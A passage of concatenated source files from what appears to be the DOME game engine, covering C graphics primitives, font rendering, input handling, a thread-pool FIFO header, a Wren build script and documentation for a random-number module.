*(((uint32_t*)engine->canvas.pixels) + (width * y + x)) = c; } } internal void ENGINE_blitBuffer(ENGINE* engine, int32_t x, int32_t y) { PIXEL_BUFFER buffer = engine->blitBuffer; uint32_t* blitBuffer = buffer.pixels; for (size_t j = 0; j < buffer.height; j++) { for (size_t i = 0; i < buffer.width; i++) { uint32_t c = *(blitBuffer + (j * buffer.width + i)); ENGINE_pset(engine, x + i, y + j, c); } } } internal uint32_t* ENGINE_resizeBlitBuffer(ENGINE* engine, size_t width, size_t height) { PIXEL_BUFFER* buffer = &engine->blitBuffer; size_t oldBufferSize = buffer->width * buffer->height * sizeof(uint32_t); size_t newBufferSize = width * height * sizeof(uint32_t); if (oldBufferSize < newBufferSize) { buffer->pixels = realloc(buffer->pixels, newBufferSize); oldBufferSize = newBufferSize; } memset(buffer->pixels, 0, oldBufferSize); buffer->width = width; buffer->height = height; return buffer->pixels; } internal unsigned const char* defaultFontLookup(utf8_int32_t codepoint) { const local_persist unsigned char empty[8] = { 0x7F, 0x7F, 0x7F, 0x7F, 0x7F, 0x7F, 0x7F, 0x7F }; if (codepoint >= 0 && codepoint < 0x7F) { return font8x8_basic[codepoint]; } else if (codepoint >= 0x80 && codepoint <= 0x9F) { codepoint = codepoint - 0x80; return font8x8_control[codepoint]; } else if (codepoint >= 0xA0 && codepoint <= 0xFF) { codepoint = codepoint - 0xA0; return font8x8_ext_latin[codepoint]; } else if (codepoint >= 0x390 && codepoint <= 0x3C9) { codepoint = codepoint - 0x390; return font8x8_greek[codepoint]; } else if (codepoint >= 0x2500 && codepoint <= 0x257F) { codepoint = codepoint - 0x2500; return font8x8_box[codepoint]; } else if (codepoint >= 0x2580 && codepoint <= 0x259F) { codepoint = codepoint - 0x2580; return font8x8_block[codepoint]; } else if (codepoint >= 0x3040 && codepoint <= 0x309F) { codepoint = codepoint - 0x3040; return font8x8_hiragana[codepoint]; } else if (codepoint >= 0xE541 && codepoint <= 0xE55A) { codepoint = codepoint - 0xE541; return font8x8_sga[codepoint]; } else { return empty; } } internal void ENGINE_print(ENGINE* engine, char* text, int64_t x, int64_t y, uint32_t c) { int fontWidth = 8; int fontHeight = 8; int spacing = (fontHeight / 4); int cursor = 0; utf8_int32_t codepoint; void* v = utf8codepoint(text, &codepoint); size_t len = utf8len(text); for (size_t pos = 0; pos < len; pos++) { if (text[pos] == '\n') { cursor = 0; y += fontHeight + spacing; v = utf8codepoint(v, &codepoint); continue; } uint8_t* glyph = (uint8_t*)defaultFontLookup(codepoint); for (int j = 0; j < fontHeight; j++) { for (int i = 0; i < fontWidth; i++) { uint8_t v = (glyph[j] >> i) & 1; if (v != 0) { ENGINE_pset(engine, x + cursor + i, y + j, c); } } } cursor += fontWidth; v = utf8codepoint(v, &codepoint); } } internal void blitPixel(void* dest, size_t pitch, int64_t x, int64_t y, uint32_t c) { uint32_t* pixel = (uint32_t*)dest + (y * pitch + x); *pixel = c; } internal void blitLine(void* dest, size_t destPitch, int64_t x, int64_t y, int64_t w, uint32_t* buf) { size_t pitch = destPitch; char* pixels = dest; int64_t startX = mid(0, x, pitch); int64_t endX = mid(0, x + w, pitch); size_t lineWidth = endX - startX; uint32_t* bufStart = buf + (size_t)fabs(fmin(0, x)); char* line = pixels + ((y * pitch + startX) * 4); memcpy(line, bufStart, lineWidth * 4); } internal void ENGINE_blitLine(ENGINE* engine, int64_t x, int64_t y, int64_t w, uint32_t* buf) { CANVAS canvas = engine->canvas; DOME_RECT zone = canvas.clip; y += canvas.offsetY; if (y < max(0, zone.y) || y >= min(canvas.height, zone.y + zone.h)) { return; } int64_t offsetX = canvas.offsetX; size_t pitch = canvas.width; int64_t screenStart = max(0, zone.x); int64_t lineEnd = mid(0, zone.x + zone.w, pitch); int64_t screenX = x + offsetX; int64_t startX = mid(screenStart, screenX, lineEnd); int64_t endX = mid(screenStart, screenX + w, lineEnd); int64_t lineWidth = max(0, min(endX, pitch) - startX); uint32_t* bufStart = buf; char* pixels = canvas.pixels; char* line = pixels + ((y * pitch + startX) * 4); memcpy(line, bufStart, lineWidth * 4); } internal uint32_t* ENGINE_createMask(ENGINE* engine, uint64_t originalSize, uint32_t color) { uint64_t size = originalSize; uint32_t* mask = ENGINE_resizeBlitBuffer(engine, size, size); for (uint64_t y = 0; y < size; y++) { for (uint64_t x = 0; x < size; x++) { blitPixel(mask, size, x, y, color); } } return mask; } internal void ENGINE_drawMask(ENGINE* engine, int64_t x, int64_t y) { size_t offset = engine->blitBuffer.width / 2; ENGINE_blitBuffer(engine, x - offset, y - offset); } internal void ENGINE_line_high(ENGINE* engine, int64_t x1, int64_t y1, int64_t x2, int64_t y2, uint32_t c) { int64_t dx = x2 - x1; int64_t dy = y2 - y1; int64_t xi = 1; if (dx < 0) { xi = -1; dx = -dx; } int64_t p = 2 * dx - dy; int64_t y = y1; int64_t x = x1; while(y <= y2) { ENGINE_drawMask(engine, x, y); if (p > 0) { x += xi; p = p - 2 * dy; } p = p + 2 * dx; y++; } } internal void ENGINE_line_low(ENGINE* engine, int64_t x1, int64_t y1, int64_t x2, int64_t y2, uint32_t c) { int64_t dx = x2 - x1; int64_t dy = y2 - y1; int64_t yi = 1; if (dy < 0) { yi = -1; dy = -dy; } int64_t p = 2 * dy - dx; int64_t y = y1; int64_t x = x1; while(x <= x2) { ENGINE_drawMask(engine, x, y); if (p > 0) { y += yi; p = p - 2 * dx; } p = p + 2 * dy; x++; } } internal void ENGINE_line(ENGINE* engine, int64_t x1, int64_t y1, int64_t x2, int64_t y2, uint32_t c, uint64_t size) { ENGINE_createMask(engine, size, c); if (llabs(y2 - y1) < llabs(x2 - x1)) { if (x1 > x2) { ENGINE_line_low(engine, x2, y2, x1, y1, c); } else { ENGINE_line_low(engine, x1, y1, x2, y2, c); } } else { if (y1 > y2) { ENGINE_line_high(engine, x2, y2, x1, y1, c); } else { ENGINE_line_high(engine, x1, y1, x2, y2, c); } } } internal void ENGINE_circle_filled(ENGINE* engine, int64_t x0, int64_t y0, int64_t r, uint32_t c) { int64_t x = 0; int64_t y = r; int64_t d = round(M_PI - (2*r)); uint16_t alpha = (0xFF000000 & c) >> 24; size_t bufWidth = r * 2 + 1; uint32_t buf[bufWidth]; for (size_t i = 0; i < bufWidth; i++) { buf[i] = c; } if (alpha == 0xFF) { while (x <= y) { size_t lineWidthX = x * 2 + 1; size_t lineWidthY = y * 2 + 1; ENGINE_blitLine(engine, x0 - x, y0 + y, lineWidthX, buf); ENGINE_blitLine(engine, x0 - x, y0 - y, lineWidthX, buf); ENGINE_blitLine(engine, x0 - y, y0 + x, lineWidthY, buf); ENGINE_blitLine(engine, x0 - y, y0 - x, lineWidthY, buf); if (d < 0) { d = d + (M_PI * x) + (M_PI * 2); } else { d = d + (M_PI * (x - y)) + (M_PI * 3); y--; } x++; } } else { uint32_t* blitBuffer = ENGINE_resizeBlitBuffer(engine, bufWidth, bufWidth); size_t pitch = engine->blitBuffer.width; while (x <= y) { int64_t c = r; size_t lineWidthX = x * 2 + 1; size_t lineWidthY = y * 2 + 1; blitLine(blitBuffer, pitch, c - x, c + y, lineWidthX, buf); if (y != 0) { blitLine(blitBuffer, pitch, c - x, c - y, lineWidthX, buf); } blitLine(blitBuffer, pitch, c - y, c + x, lineWidthY, buf); if (x != 0) { blitLine(blitBuffer, pitch, c - y, c - x, lineWidthY, buf); } if (d < 0) { d = d + (M_PI * x) + (M_PI * 2); } else { d = d + (M_PI * (x - y)) + (M_PI * 3); y--; } x++; } ENGINE_blitBuffer(engine, x0 - r, y0 - r); } } internal void ENGINE_circle(ENGINE* engine, int64_t x0, int64_t y0, int64_t r, uint32_t c) { int64_t x = 0; int64_t y = r; int64_t d = round(M_PI - (2*r)); size_t pitch = r * 2 + 1; uint32_t* blitBuffer = ENGINE_resizeBlitBuffer(engine, pitch, pitch); pitch = engine->blitBuffer.width; while (x <= y) { blitPixel(blitBuffer, pitch, r + x, r + y , c); blitPixel(blitBuffer, pitch, r - x, r - y , c); blitPixel(blitBuffer, pitch, r - x, r + y , c); blitPixel(blitBuffer, pitch, r + x, r - y , c); blitPixel(blitBuffer, pitch, r + y, r + x , c); blitPixel(blitBuffer, pitch, r - y, r - x , c); blitPixel(blitBuffer, pitch, r - y, r + x , c); blitPixel(blitBuffer, pitch, r + y, r - x , c); if (d < 0) { d = d + (M_PI * x) + (M_PI * 2); } else { d = d + (M_PI * (x - y)) + (M_PI * 3); y--; } x++; } ENGINE_blitBuffer(engine, x0 - r, y0 - r); } internal inline double ellipse_getRegion(double x, double y, int32_t rx, int32_t ry) { double rxSquare = rx * rx; double rySquare = ry * ry; return (rySquare*x) / (rxSquare*y); } internal void ENGINE_ellipsefill(ENGINE* engine, int64_t x0, int64_t y0, int64_t x1, int64_t y1, uint32_t c) { // Calculate radius int64_t swap = x1; if (x1 < x0) { x1 = x0; x0 = swap; } swap = y1; if (y1 < y0) { y1 = y0; y0 = swap; } int32_t rx = (x1 - x0) / 2; // Radius on x int32_t ry = (y1 - y0) / 2; // Radius on y uint32_t rxSquare = rx*rx; uint32_t rySquare = ry*ry; uint32_t rx2ry2 = rxSquare * rySquare; int32_t dx = (rx + 1) * 2; int32_t dy = (ry + 1) * 2; size_t bufWidth = max(dx, dy); uint32_t buf[bufWidth]; for (size_t i = 0; i < bufWidth; i++) { buf[i] = c; } uint32_t* blitBuffer = ENGINE_resizeBlitBuffer(engine, dx, dy); size_t pitch = engine->blitBuffer.width; // Start drawing at (0, ry) int32_t x = 0; int32_t y = ry; double d = 0; while (fabs(ellipse_getRegion(x, y, rx, ry)) < 1) { x++; size_t lineWidthX = x * 2 + 1; double xSquare = x*x; // evaluate decision parameter d = rySquare * xSquare + rxSquare * pow(y - 0.5, 2) - rx2ry2; if (d > 0) { y--; } blitLine(blitBuffer, pitch, rx - x, ry + y, lineWidthX, buf); blitLine(blitBuffer, pitch, rx - x, ry - y, lineWidthX, buf); } while (y > 0) { y--; double ySquare = y*y; // evaluate decision parameter d = rxSquare * ySquare + rySquare * pow(x + 0.5, 2) - rx2ry2; if (d <= 0) { x++; } size_t lineWidthY = x * 2 + 1; blitLine(blitBuffer, pitch, rx - x, ry + y, lineWidthY, buf); blitLine(blitBuffer, pitch, rx - x, ry - y, lineWidthY, buf); }; ENGINE_blitBuffer(engine, x0, y0); } internal void ENGINE_ellipse(ENGINE* engine, int64_t x0, int64_t y0, int64_t x1, int64_t y1, uint32_t c) { int64_t swap = x1; if (x1 < x0) { x1 = x0; x0 = swap; } swap = y1; if (y1 < y0) { y1 = y0; y0 = swap; } // Calculate radius int32_t rx = llabs(x1 - x0) / 2; // Radius on x int32_t ry = llabs(y1 - y0) / 2; // Radius on y int32_t rxSquare = rx*rx; int32_t rySquare = ry*ry; int32_t rx2ry2 = rxSquare * rySquare; // Start drawing at (0, ry) double x = 0; double y = ry; double d = 0; int32_t width = (rx + 1) * 2; int32_t height = (ry + 1) * 2; uint32_t* blitBuffer = ENGINE_resizeBlitBuffer(engine, width, height); size_t pitch = engine->blitBuffer.width; blitPixel(blitBuffer, pitch, rx + x, ry + y , c); blitPixel(blitBuffer, pitch, rx + x, ry - y , c); while (fabs(ellipse_getRegion(x, y, rx, ry)) < 1) { x++; double xSquare = x*x; // evaluate decision parameter d = rySquare * xSquare + rxSquare * pow(y - 0.5, 2) - rx2ry2; if (d > 0) { y--; } blitPixel(blitBuffer, pitch, rx + x, ry + y , c); blitPixel(blitBuffer, pitch, rx - x, ry - y , c); blitPixel(blitBuffer, pitch, rx - x, ry + y , c); blitPixel(blitBuffer, pitch, rx + x, ry - y , c); } while (y > 0) { y--; double ySquare = y*y; // evaluate decision parameter d = rxSquare * ySquare + rySquare * pow(x + 0.5, 2) - rx2ry2; if (d <= 0) { x++; } blitPixel(blitBuffer, pitch, rx + x, ry + y , c); blitPixel(blitBuffer, pitch, rx - x, ry - y , c); blitPixel(blitBuffer, pitch, rx - x, ry + y , c); blitPixel(blitBuffer, pitch, rx + x, ry - y , c); }; ENGINE_blitBuffer(engine, x0, y0); } internal void ENGINE_rect(ENGINE* engine, int64_t x, int64_t y, int64_t w, int64_t h, uint32_t c) { w = w - 1; h = h - 1; ENGINE_line(engine, x, y, x, y+h, c, 1); ENGINE_line(engine, x, y, x+w, y, c, 1); ENGINE_line(engine, x, y+h, x+w, y+h, c, 1); ENGINE_line(engine, x+w, y, x+w, y+h, c, 1); } internal void ENGINE_rectfill(ENGINE* engine, int64_t x, int64_t y, int64_t w, int64_t h, uint32_t c) { uint16_t alpha = (0xFF000000 & c) >> 24; if (alpha == 0x00) { return; } else { int64_t y1 = y; int64_t y2 = y + h - 1; if (alpha == 0xFF) { size_t lineWidth = w; // x2 - x1; uint32_t buf[lineWidth + 1]; for (size_t i = 0; i <= lineWidth; i++) { buf[i] = c; } for (int64_t j = y1; j <= y2; j++) { ENGINE_blitLine(engine, x, j, lineWidth, buf); } } else { int64_t x1 = x; int64_t x2 = x + w - 1; for (int64_t j = y1; j <= y2; j++) { for (int64_t i = x1; i <= x2; i++) { ENGINE_pset(engine, i, j, c); } } } } } internal bool ENGINE_getKeyState(ENGINE* engine, char* keyName) { SDL_Keycode keycode = SDL_GetKeyFromName(keyName); SDL_Scancode scancode = SDL_GetScancodeFromKey(keycode); const uint8_t* state = SDL_GetKeyboardState(NULL); return state[scancode]; } internal void ENGINE_setMouseRelative(ENGINE* engine, bool relative) { engine->mouse.relative = relative; if (relative) { SDL_SetRelativeMouseMode(SDL_TRUE); SDL_GetRelativeMouseState(&(engine->mouse.x), &(engine->mouse.y)); } else { SDL_SetRelativeMouseMode(SDL_FALSE); SDL_GetMouseState(&(engine->mouse.x), &(engine->mouse.y)); } } internal float ENGINE_getMouseX(ENGINE* engine) { SDL_Rect viewport = engine->viewport; int mouseX = engine->mouse.x; int winX; int winY; SDL_GetWindowSize(engine->window, &winX, &winY); if (engine->mouse.relative) { return mouseX; } else { return mouseX * fmax((engine->canvas.width / (float)winX), engine->canvas.height / (float)winY) - viewport.x; } } internal float ENGINE_getMouseY(ENGINE* engine) { SDL_Rect viewport = engine->viewport; int mouseY = engine->mouse.y; int winX; int winY; SDL_GetWindowSize(engine->window, &winX, &winY); if (engine->mouse.relative) { return mouseY; } else { return mouseY * fmax((engine->canvas.width / (float)winX), engine->canvas.height / (float)winY) - viewport.y; } } internal bool ENGINE_getMouseButton(int button) { return SDL_GetMouseState(NULL, NULL) & SDL_BUTTON(button); } internal void ENGINE_drawDebug(ENGINE* engine) { char buffer[20]; ENGINE_DEBUG* debug = &engine->debug; // Choose alpha depending on how fast or slow you want old averages to decay. // 0.9 is usually a good choice. double framesThisSecond = 1000.0 / (debug->elapsed+1); double alpha = debug->alpha; debug->avgFps = alpha * debug->avgFps + (1.0 - alpha) * framesThisSecond; snprintf(buffer, sizeof(buffer), "%.01f FPS", debug->avgFps); // here 2 means binary int32_t width = engine->canvas.width; int32_t height = engine->canvas.height; int64_t startX = width - 8*8-2; int64_t startY = height - 8-2; ENGINE_rectfill(engine, startX, startY, 8*8+2, 10, 0x7F000000); ENGINE_print(engine, buffer, startX+1,startY+1, 0xFFFFFFFF); startX = width - 9*8 - 2; if (engine->vsyncEnabled) { ENGINE_print(engine, "VSync On", startX, startY - 8, 0xFFFFFFFF); } else { ENGINE_print(engine, "VSync Off", startX, startY - 8, 0xFFFFFFFF); } if (engine->lockstep) { ENGINE_print(engine, "Lockstep", startX, startY - 16, 0xFFFFFFFF); } else { ENGINE_print(engine, "Catchup", startX, startY - 16, 0xFFFFFFFF); } } internal bool ENGINE_canvasResize(ENGINE* engine, uint32_t newWidth, uint32_t newHeight, uint32_t color) { if (engine->initialized && engine->record.makeGif) { return true; } if (engine->canvas.width == newWidth && engine->canvas.height == newHeight) { return true; } engine->canvas.width = newWidth; engine->canvas.height = newHeight; SDL_DestroyTexture(engine->texture); SDL_RenderSetLogicalSize(engine->renderer, newWidth, newHeight); engine->texture = SDL_CreateTexture(engine->renderer, SDL_PIXELFORMAT_ABGR8888, SDL_TEXTUREACCESS_STREAMING, newWidth, newHeight); if (engine->texture == NULL) { return false; } engine->canvas.pixels = realloc(engine->canvas.pixels, engine->canvas.width * engine->canvas.height * 4); if (engine->canvas.pixels == NULL) { return false; } ENGINE_rectfill(engine, 0, 0, engine->canvas.width, engine->canvas.height, color); SDL_RenderGetViewport(engine->renderer, &(engine->viewport)); return true; } internal void ENGINE_takeScreenshot(ENGINE* engine) { CANVAS canvas = engine->canvas; stbi_write_png("screenshot.png", canvas.width, canvas.height, 4, canvas.pixels, canvas.width * 4); } internal void ENGINE_reportError(ENGINE* engine) { if (engine->debug.errorBuf != NULL) { ENGINE_printLog(engine, engine->debug.errorBuf); SDL_ShowSimpleMessageBox(SDL_MESSAGEBOX_ERROR, "DOME - Error", engine->debug.errorBuf, NULL); } } <file_sep>/scripts/setup_wren.sh #!/bin/bash DOME_DIR=$PWD INCLUDE_DIR=$DOME_DIR/include LIB_DIR=$DOME_DIR/lib WREN_DIR=$LIB_DIR/wren cd "$WREN_DIR/projects" if [[ "$OSTYPE" == "linux-gnu"* ]]; then # ... cd make elif [[ "$OSTYPE" == "darwin"* ]]; then cd make.mac # Mac OSX elif [[ "$OSTYPE" == "msys" ]]; then cd make # Lightweight shell and GNU utilities compiled for Windows (part of MinGW) elif [[ "$OSTYPE" == "win32" ]]; then exit 1 else exit 1 fi # Undo external makefile flags just in case unset config MAKEFLAGS="--no-print-directory" # build the debug version of wren make clean CFLAGS=-fvisibility=hidden make ${@:2} CFLAGS=${CFLAGS} verbose=1 config=debug_$1 wren && cp "$WREN_DIR/lib/libwren_d.a" "$LIB_DIR/libwrend.a" # build the release version of wren make clean make ${@:2} CFLAGS=${CFLAGS} verbose=1 config=release_$1 wren && cp "$WREN_DIR/lib/libwren.a" "$LIB_DIR/libwren.a" # Copy the wren.h to our includes cp "$WREN_DIR/src/include/wren.h" "$INCLUDE_DIR/wren.h" <file_sep>/include/vendor.c #define _DEFAULT_SOURCE #define NOMINMAX #ifdef __MINGW32__ #include <windows.h> #endif #include <stdbool.h> #include <jo_gif.h> #define OPTPARSE_IMPLEMENTATION #include <optparse.h> #include <microtar/microtar.c> #include <json/pdjson.c> #include <mkdirp/mkdirp.c> // Set up STB_IMAGE #define STBI_FAILURE_USERMSG #define STBI_NO_STDIO #define STBI_ONLY_JPEG #define STBI_ONLY_BMP #define STBI_ONLY_PNG #define STB_IMAGE_IMPLEMENTATION #include <stb_image.h> #define STB_IMAGE_WRITE_IMPLEMENTATION #include <stb_image_write.h> #define STB_TRUETYPE_IMPLEMENTATION #include <stb_truetype.h> // Setup STB_VORBIS #define STB_VORBIS_NO_PUSHDATA_API #include <stb_vorbis.c> // Setup ABC_FIFO #include <SDL.h> #define ABC_FIFO_IMPL #include <ABC_fifo.h> <file_sep>/docs/modules/random.md [< Back](.) random ============= The `random` module provides utilities for generating pseudo-random numbers, for a variety of applications. Please note, this module should not be used for applications which require a cryptographically secure source of random numbers. DOME's pseudo-random number generator is based on the "Squirrel3" noise function, described by [<NAME>](http://www.eiserloh.net/bio/) in [this talk](https://www.youtube.com/watch?v=LWFzPP8ZbdU). ## Random ### Static Methods #### `noise(x: Number): Number` Given `x` as an integer, this will return a 32-bit number based on the Squirrel3 noise function. #### `noise(x: Number, seed: Number): Number` Given `x` and `seed` as integers, this will return a 32-bit number based on the Squirrel3 noise function. The `seed` value can be used to get different outputs for the same position `x`. ### Instance methods #### `construct new()` Creates a new instance of a random number generator, seeded based on the current system time. #### `construct new(seed: Number)` Creates a new instance of a random number generator, based on the provided seed value. #### `float(): Number` Returns a floating point value in the range of `0.0...1.0`, inclusive of `0.0` but exclusive of `1.0`. #### `float(end: Number): Number` Returns a floating point value in the range of `0.0...end``, inclusive of `0.0` but exclusive of `end`. #### `float(start: Number, end: Number): Number` Returns a floating point value in the range of `start...end``, inclusive of `start` but exclusive of `end`. #### `int(end: Number): Number` Returns an integer in the range `0.0...end`, inclusive of `0.0` but exclusive of `end`.` #### `int(start: Number, end: Number): Number` Returns an integer in the range `start...end`, inclusive of `start` but exclusive of `end`.` #### `sample(list: List): Any` Given a `list`, this will pick an element from that list at random. #### `sample(list: List, count: Number): List` Randomly selects `count` elements from the list and returns them in a new list. This provides "sampling without replacement", so each element is distinct. #### `shuffle(list: List): List` Uses the Fisher-Yates algorithm to shuffle the provided `list` in place. The list is also returned for convenience. <file_sep>/include/ABC_fifo.h /* ABC_fifo.h - v0.0.12 - Public Domain Author: <NAME>, 2018 How To Use: #define ABC_FIFO_IMPL #include "ABC_fifo.h" Version History: v0.0.12 - Moved the SDL warning so ABC_fifo can be compiled in a seperate translation unit. v0.0.11 - When closing, we actually make sure all the threads can wake up waiting for them all. v0.0.10 - We block when closing the FIFO til all threads finish v0.0.9 - Initial Release, be careful License: This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. For more information, please refer to <http://unlicense.org/> */ #ifndef ABC_FIFO_H #define ABC_FIFO_H // Initial configuration #ifndef ABC_FIFO_POOL_SIZE #define ABC_FIFO_POOL_SIZE 4 #endif #ifndef ABC_FIFO_SIZE #define ABC_FIFO_SIZE 256 #endif typedef uint8_t ABC_TASK_TYPE; typedef struct { int resultCode; ABC_TASK_TYPE type; void* data; void* returnData; } ABC_TASK; typedef int (*ABC_FIFO_TaskHandler)(ABC_TASK* task); typedef struct { SDL_sem* semaphore; SDL_atomic_t readEntry; SDL_atomic_t completionCount; volatile uint16_t writeEntry; volatile bool shutdown; ABC_FIFO_TaskHandler taskHandler; SDL_Thread* threads[ABC_FIFO_POOL_SIZE]; ABC_TASK tasks[ABC_FIFO_SIZE]; } ABC_FIFO; // Public API: void ABC_FIFO_create(ABC_FIFO* queue); void ABC_FIFO_pushTask(ABC_FIFO* queue, ABC_TASK task); bool ABC_FIFO_isFull(ABC_FIFO* queue); bool ABC_FIFO_isEmpty(ABC_FIFO* queue); void ABC_FIFO_waitForEmptyQueue(ABC_FIFO* queue); void ABC_FIFO_close(ABC_FIFO* queue); #endif // ABC_FIFO_ABC_FIFO_H #ifdef SDL_INIT_EVERYTHING #ifdef ABC_FIFO_IMPL #define ABC_FIFO_IMPL #ifndef SDL_INIT_EVERYTHING #error "ABC_FIFO depends on SDL, which could not be detected." #define SDL_sem void #define SDL_atomic_t int #define SDL_Thread int #endif int16_t mask(int16_t v) { return v & (ABC_FIFO_SIZE - 1); } int ABC_FIFO_executeTask(void* data); // Initialise the queue passed in void ABC_FIFO_create(ABC_FIFO* queue) { memset(queue, 0, sizeof(ABC_FIFO)); queue->semaphore = SDL_CreateSemaphore(0); for (int i = 0; i < ABC_FIFO_POOL_SIZE; ++i) { queue->threads[i] = SDL_CreateThread(ABC_FIFO_executeTask, NULL, queue); } } // PRE: Only the main thread pushes tasks // Blocks if the queue is full. void ABC_FIFO_pushTask(ABC_FIFO* queue, ABC_TASK task) { while(ABC_FIFO_isFull(queue)) { }; queue->tasks[mask(queue->writeEntry)] = task; SDL_CompilerBarrier(); ++queue->writeEntry; if (SDL_SemValue(queue->semaphore) < ABC_FIFO_POOL_SIZE) { SDL_SemPost(queue->semaphore); } } int ABC_FIFO_executeTask(void* data) { ABC_FIFO* queue = (ABC_FIFO*)data; while (!queue->shutdown) { int16_t originalReadEntry = SDL_AtomicGet(&queue->readEntry); if (mask(originalReadEntry) != mask(queue->writeEntry)) { if (SDL_AtomicCAS(&queue->readEntry, originalReadEntry, originalReadEntry + 1)) { SDL_CompilerBarrier(); ABC_TASK task = queue->tasks[mask(originalReadEntry)]; queue->taskHandler(&task); SDL_AtomicAdd(&queue->completionCount, 1); // Post-increment } } else { SDL_SemWait(queue->semaphore); } } return 0; } // Shutdown pool and block til all threads close void ABC_FIFO_close(ABC_FIFO* queue) { queue->shutdown = true; // Tidy up our resources for (int i = 0; i < ABC_FIFO_POOL_SIZE; ++i) { SDL_SemPost(queue->semaphore); } for (int i = 0; i < ABC_FIFO_POOL_SIZE; ++i) { SDL_WaitThread(queue->threads[i], NULL); } // Destroy queue SDL_DestroySemaphore(queue->semaphore); } bool ABC_FIFO_isFull(ABC_FIFO* queue) { return mask(queue->writeEntry + 1) == mask(SDL_AtomicGet(&queue->readEntry)); } bool ABC_FIFO_isEmpty(ABC_FIFO* queue) { return mask(queue->writeEntry) == mask(SDL_AtomicGet(&queue->readEntry)); } void ABC_FIFO_waitForEmptyQueue(ABC_FIFO* queue) { while (!ABC_FIFO_isEmpty(queue)); } #endif // ABC_FIFO_ABC_FIFO_IMPL #endif // SDL_INIT_EVERYTHING #ifndef SDL_INIT_EVERYTHING #undef SDL_sem #undef SDL_atomic_t #undef SDL_Thread #endif <file_sep>/src/modules/font.c typedef struct { const unsigned char* file; stbtt_fontinfo info; } FONT; typedef struct { FONT* font; float scale; int height; bool antialias; int32_t offsetY; } FONT_RASTER; internal void FONT_allocate(WrenVM* vm) { FONT* font = wrenSetSlotNewForeign(vm, 0, 0, sizeof(FONT)); int size; // ASSERT ASSERT_SLOT_TYPE(vm, 1, STRING, "text"); const unsigned char* file = (const unsigned char*) wrenGetSlotBytes(vm, 1, &size); char magic[4] = {0x00, 0x01, 0x00, 0x00}; if (memcmp(file, magic, 4) != 0) { VM_ABORT(vm, "Given file is not a TTF file"); return; } font->file = malloc(size * sizeof(char)); memcpy((void*)font->file, file, size * sizeof(char)); int result = stbtt_InitFont(&(font->info), font->file, stbtt_GetFontOffsetForIndex(file, 0)); if (!result) { VM_ABORT(vm, "Loading font failed"); } } internal void FONT_finalize(void* data) { FONT* font = data; free((void*)font->file); } internal void FONT_RASTER_allocate(WrenVM* vm) { FONT_RASTER* raster = wrenSetSlotNewForeign(vm, 0, 0, sizeof(FONT_RASTER)); ASSERT_SLOT_TYPE(vm, 1, FOREIGN, "font"); FONT* font = wrenGetSlotForeign(vm, 1); raster->font = font; raster->antialias = false; ASSERT_SLOT_TYPE(vm, 2, NUM, "font size"); raster->scale = stbtt_ScaleForMappingEmToPixels(&font->info, wrenGetSlotDouble(vm, 2)); int ascent, descent, linegap; stbtt_GetFontVMetrics(&font->info, &ascent, &descent, &linegap); raster->height = (ascent - descent + linegap) * (raster->scale); int32_t x0, x1, y0, y1; stbtt_GetFontBoundingBox(&font->info, &x0, &x1, &y0, &y1); raster->offsetY = (-y0) * raster->scale; } internal void FONT_RASTER_finalize(void* data) { } internal void FONT_RASTER_setAntiAlias(WrenVM* vm) { FONT_RASTER* raster = wrenGetSlotForeign(vm, 0); ASSERT_SLOT_TYPE(vm, 1, BOOL, "antialias"); raster->antialias = wrenGetSlotBool(vm, 1); } internal void FONT_RASTER_print(WrenVM* vm) { ENGINE* engine = wrenGetUserData(vm); FONT_RASTER* raster = wrenGetSlotForeign(vm, 0); stbtt_fontinfo info = raster->font->info; ASSERT_SLOT_TYPE(vm, 1, STRING, "text"); ASSERT_SLOT_TYPE(vm, 2, NUM, "x"); ASSERT_SLOT_TYPE(vm, 3, NUM, "y"); ASSERT_SLOT_TYPE(vm, 4, NUM, "color"); const char* text = wrenGetSlotString(vm, 1); int64_t x = wrenGetSlotDouble(vm, 2); int64_t y = wrenGetSlotDouble(vm, 3); uint32_t color = wrenGetSlotDouble(vm, 4); unsigned char *bitmap; int w, h; int fontHeight = raster->height; float scale = raster->scale; int32_t offsetY = raster->offsetY; int32_t posX = x; int32_t posY = y; int32_t baseY = y - offsetY; int len = utf8len(text); utf8_int32_t codepoint; void* v = utf8codepoint(text, &codepoint); for (int charIndex = 0; charIndex < len; charIndex++) { if (text[charIndex] == '\n') { posX = x; baseY += fontHeight; v = utf8codepoint(v, &codepoint); continue; } int ax; int lsb; int oY, oX; stbtt_GetCodepointHMetrics(&info, codepoint, &ax, &lsb); bitmap = stbtt_GetCodepointBitmap(&info, 0, scale, codepoint, &w, &h, &oX, &oY); posX += oX; posY = baseY + oY; uint32_t outColor; float baseAlpha = ((color & 0xFF000000) >> 24) / (float)0xFF; for (int j = 0; j < h; j++) { for (int i = 0; i < w; i++) { if (raster->antialias) { uint8_t alpha = baseAlpha * bitmap[j * w + i]; outColor = (alpha << 24) | (color & 0x00FFFFFF); } else { outColor = bitmap[j * w + i] > 0 ? color : 0; } ENGINE_pset(engine, posX + i, posY + j, outColor); } } posX += ax * scale; /* add kerning */ int kern; long oldCodepoint = codepoint; v = utf8codepoint(v, &codepoint); kern = stbtt_GetCodepointKernAdvance(&info, oldCodepoint, codepoint); posX += kern * scale; } } <file_sep>/src/io.c internal void FILESYSTEM_loadEventHandler(void* task); global_variable char* basePath = NULL; internal void BASEPATH_set(char* path) { size_t len = strlen(path) + 1; bool slash = path[len - 1] == '/'; if (!slash) { len++; } basePath = realloc(basePath, len * sizeof(char)); strcpy(basePath, path); if (!slash) { basePath[len - 2] = '/'; } basePath[len - 1] = '\0'; } internal char* BASEPATH_get(void) { if (basePath == NULL) { if 